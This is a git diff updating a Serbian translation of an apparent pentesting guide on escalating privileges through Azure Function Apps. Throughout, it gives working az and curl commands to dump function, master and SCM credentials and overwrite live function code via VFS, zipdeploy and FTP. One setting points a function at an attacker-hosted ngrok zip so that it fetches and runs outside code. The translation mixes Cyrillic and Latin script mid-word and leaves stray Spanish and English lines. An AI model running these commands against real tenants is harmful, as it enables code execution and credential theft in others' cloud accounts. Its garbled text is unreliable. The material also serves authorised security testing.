diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index ce85a6094..2722b983a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Pogledajte sledeću stranicu za više informacija: +Pogledaj sledeću stranicu za više informacija: {{#ref}} ../az-services/az-function-apps.md @@ -12,26 +12,26 @@ Pogledajte sledeću stranicu za više informacija: ### Bucket Read/Write -Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći **različite containers** (prilagođene ili sa unapred određenim imenima) koje mogu sadržati **kod koji izvršava Function**. +Sa permisijama za čitanje container-a unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite container-e** (custom ili sa unapred definisanim imenima) koji mogu da sadrže **code koji izvršava function**. -Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function. +Kada pronađeš gde se nalazi code funkcije, ako imaš write permisije nad njim, možeš naterati function da izvrši bilo koji code i eskaliraš privilegije do managed identities prikačenih na function. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` -Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i **naterati Function da učita proizvoljan kod**, što omogućava eskalaciju privilegija na managed identities pridružene Function. +Code funkcije se obično čuva unutar file share-a. Sa dovoljno pristupa moguće je izmeniti code fajl i **naterati function da učita proizvoljan code**, što omogućava eskalaciju privilegija do managed identities prikačenih na Function. -Ovaj metod deployment-a obično konfiguriše podešavanja **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti iz +Ovaj deployment method obično konfiguriše settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možeš dobiti iz ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Te konfiguracije sadrže **Storage Account Key** koji Function može koristiti za pristup kodu. +Ti konfiguracije će sadržati **Storage Account Key** koji Function može da koristi za pristup kodu. > [!CAUTION] -> Sa dovoljnim dozvolama za povezivanje na File Share i **izmenom pokrenutog skripta**, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije. +> Sa dovoljno dozvola za povezivanje na File Share i **izmenu skripte** koja se izvršava, moguće je izvršiti proizvoljan code u Function i eskalirati privilegije. -Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima: +Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da proverite i sledeću stranicu za više informacija o file shares: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Takođe je uobičajeno pronaći zip izdanja unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u kontejneru koji je **obično nazvan `function-releases`**. +Takođe je uobičajeno pronaći **zip releases** unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u containeru **obično nazvanom `function-releases`**. -Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u: +Obično će ovaj metod deploy-a postaviti `WEBSITE_RUN_FROM_PACKAGE` config u: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Ova konfiguracija će obično sadržati **SAS URL za preuzimanje** koda iz Storage Account-a. > [!CAUTION] -> Sa dovoljnim privilegijama za povezivanje na blob container koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije. +> Sa dovoljno permisija za povezivanje na blob container koji **sadrži code u zip-u** moguće je izvršiti arbitrary code u Function i eskalirati privilegije. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder **`github-actions-deploy`** u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju `WEBSITE_RUN_FROM_PACKAGE`. +Kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container **`scm-releases`**. Tamo je moguće naći najnovije izdanje u **Squashfs filesystem file format** i shodno tome moguće je pročitati kod funkcije: +Sa permisijama za čitanje container-a unutar Storage Account-a koji čuva function data, moguće je pronaći container **`scm-releases`**. Tamo je moguće pronaći najnoviji release u **Squashfs filesystem file format** i zato je moguće pročitati code funkcije: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Takođe je moguće pronaći **master and functions keys** pohranjene u storage account-u, u containeru **`azure-webjobs-secrets`** unutar foldera **``**, u JSON fajlovima koje tamo možete pronaći. +Takođe je moguće pronaći **master i functions keys** koji su sačuvani u storage account-u u container-u **`azure-webjobs-secrets`** unutar foldera **``** u JSON fajlovima koje tamo možete pronaći. > [!CAUTION] -> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije. +> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**) moguće je izvršiti arbitrary code u Function-u i eskalirati privilegije. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу: +Ова дозвола омогућава да се прикажу function, master и system keys, али не и host key, за наведenu function помоћу: ```bash az functionapp keys list --resource-group --name ``` -Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput: +Sa master key-jem je takođe moguće dobiti source code na URL-u kao što je: ```bash # Get "script_href" from az rest --method GET \ @@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # JavaScript function app example curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -I da **izmenite kod koji se izvršava** u funkciji sa: +I da **promeni kod koji se izvršava** u funkciji sa: ```bash # Set the code to set in the function in /tmp/function_app.py ## Python function app example @@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу: +Ово право омогућава да се добије default key, за наведену function помоћу: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -Pozovite funkciju koristeći podrazumevani ključ koji ste dobili: +Pozovi funkciju koristeći dobijeni default key: ```bash curl "https://.azurewebsites.net/api/?code=" ``` ### `Microsoft.Web/sites/host/functionKeys/write` -Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa: +Ова дозвола омогућава креирање/ажурирање function key-ја наведенe функције са: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću: +Ova dozvola omogućava kreiranje/ažuriranje master key za navedenu function sa: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno! +> Zapamtite da sa ovim ključem takođe možete da pristupite izvornom kodu i izmenite ga, kao što je prethodno objašnjeno! ### `Microsoft.Web/sites/host/systemKeys/write` -Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću: +Ova dozvola omogućava kreiranje/ažuriranje system function key za navedenu funkciju sa: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -Koristi ključ: +Upotrebite ključ: ```bash # Ejemplo: Acceso a endpoints de Durable Functions curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" @@ -193,28 +193,28 @@ curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code= --resource-group ``` -Štaviše, ova dozvola takođe omogućava dobijanje **SCM username and password** (ako je omogućeno) pomoću: +Štaviše, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) pomoću: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se **izmenjuju te vrednosti**. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije. +Ove dozvole omogućavaju da se izlistaju config vrednosti funkcije kao što smo ranije videli, plus da se **izmene ove vrednosti**. Ovo je korisno zato što ova podešavanja pokazuju gde se nalazi code koji treba da se izvrši unutar funkcije. -Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije: +Zbog toga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** tako da pokazuje na URL zip file koji sadrži novi code koji će se izvršavati unutar web application: -- Počnite tako što ćete preuzeti trenutnu konfiguraciju +- Start by getting the current config ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Napravite kod koji želite da funkcija izvršava i javno ga hostujte +- Napravi code koji želiš da function pokrene i hostuj ga javno ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -224,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip** fajlom koji sadrži kod. +- Izmeni funkciju, zadrži prethodne parametre i dodaj na kraj config **`WEBSITE_RUN_FROM_PACKAGE`** koji pokazuje na URL sa **zip** fajlom koji sadrži kod. -U nastavku je primer mojih **ličnih podešavanja (moraćete da promenite vrednosti za svoja)**; obratite pažnju na kraju na vrednost `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju. +Sledeći je primer mojih **sopstvenih settings koje ćeš morati da promeniš za svoje**, obrati pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, tu sam hostovao app. ```bash # Modify the function az rest --method PUT \ @@ -236,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Sa ovom dozvolom je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint): +Sa ovim permisijama je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -266,7 +266,7 @@ body: responseMessage ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže **basic auth credentials**: +Ova dozvola omogućava da se izlistaju svi publishing profili koji u osnovi sadrže **basic auth kredencijale**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću: +Druga opcija bi bila da postaviš sopstvene kredencijale i koristiš ih pomoću: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Ako su kredencijali **REDACTED** +- Ako su **REDACTED** kredencijali -Ako vidite da su ti kredencijali **REDACTED**, to je zato što morate **omogućiti opciju SCM basic authentication** i za to vam treba druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Ako vidiš da su ti kredencijali **REDACTED**, to je zato što **moraš da omogućiš SCM basic authentication opciju** i za to ti je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -304,26 +304,47 @@ az rest --method PUT \ ``` - **Method SCM** -Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove **basic auth credentials** i dobiti vrednosti env variables: +Zatim možete pristupiti sa ovim **basic auth credentials za SCM URL** vaše function app i dobiti vrednosti env variables: ```bash # Get settings values curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ -https://.scm.azurewebsites.net/api/zipdeploy ``` -_Imajte na umu da je **SCM username** obično znak "$" praćen imenom aplikacije, dakle: `$`. _ +Možete da preuzmete, izmenite i upload-ujete novi function code : +```bash +# download +curl -u ':' -X GET \ +https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ +-o current_function_code.zip -Takođe možete pristupiti web stranici na `https://.scm.azurewebsites.net/BasicAuth` +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ -Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om. +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` +Možete čak i da otpremite određenu datoteku : +```bash +curl -u ':' \ +-X PUT \ +-H "Content-Type: application/javascript" \ +-H "If-Match: *" \ +--data-binary "@./my_local_payload.js" \ +"https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` +_Napomena da je **SCM username** obično znak "$" praćen imenom app, dakle: `$`._ + +Takođe možeš pristupiti web strani sa `https://.scm.azurewebsites.net/BasicAuth` + +Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu tog storage account-a. - **Method FTP** -Povežite se na FTP server koristeći: +Poveži se na FTP server koristeći: ```bash # macOS install lftp brew install lftp @@ -337,19 +358,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Imajte na umu da je **FTP username** obično u formatu \\\$\._ +_Напомена: **FTP username** је обично у формату \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Ova dozvola omogućava **čitanje izvornog koda** aplikacije preko VFS-a: +Ова permission омогућава да се **прочита source code** апликације кроз VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Sa ovom dozvolom moguće je [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i izmeniti kod funkcije. +Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i menjati kod funkcije. -Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili: +Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da je možda onemogućeno ili više ne radi, ali evo kako biste to uradili: ```bash # Get admin token az rest --method GET \ @@ -361,7 +382,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Ova dozvola omogućava da se **omoguće funkcije** koje su možda onemogućene (ili da se onemoguće). +Ove permissions dozvoljavaju da se **enable functions** koje možda su disabled (ili da se disable-uju). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -369,13 +390,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama): +Takođe je moguće videti da li je function omogućen ili onemogućen na sledećem URL-u (koristeći permission u zagradi): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Sa ovim dozvolama moguće je **izmeniti kontejner koji pokreće function app** konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši. +Sa ovim dozvolama moguće je **izmeniti container koji pokreće function app** konfigurisan da radi u containeru. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera function da ga izvrši. ```bash az functionapp config container set --name \ --resource-group \ @@ -383,29 +404,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Sa ovim dozvolama je moguće **attach a new user managed identity to a function**. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity. +Sa ovim permisijama moguće je **prikačiti novu user managed identity na function**. Ako je function bio kompromitovan, ovo bi omogućilo eskalaciju privilegija do bilo koje user managed identity. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Daljinsko otklanjanje grešaka +### Remote Debugging -Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije. +Takođe je moguće povezati se radi debugovanja pokrenute Azure function kao što je [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po difoltu Azure će isključiti ovu opciju nakon 2 dana, u slučaju da developer zaboravi, kako bi se izbeglo ostavljanje ranjivih konfiguracija. -Moguće je proveriti da li Function ima omogućeno debugovanje pomoću: +Moguće je proveriti da li je za Function omogućen debugging sa: ```bash az functionapp show --name --resource-group ``` -Ako imate dozvolu `Microsoft.Web/sites/config/write`, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`). +Имајући дозволу `Microsoft.Web/sites/config/write`, такође је могуће ставити function у debugging mode (следећа команда такође захтева дозволе `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` и `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Promena Github repozitorijuma +### Change Github repo -Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\ -Štaviše, **managed identity federated credential nije ažuriran** da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno. +Pokušao sam da promenim Github repo iz kog se vrši deployment tako što sam izvršio sledeće komande, ali čak i ako se to promenilo, **novi code nije učitan** (verovatno zato što očekuje da Github Action ažurira code).\ +Pored toga, **managed identity federated credential nije bio ažuriran** da dozvoli novi repository, tako da izgleda da ovo nije baš korisno. ```bash # Remove current az functionapp deployment source delete \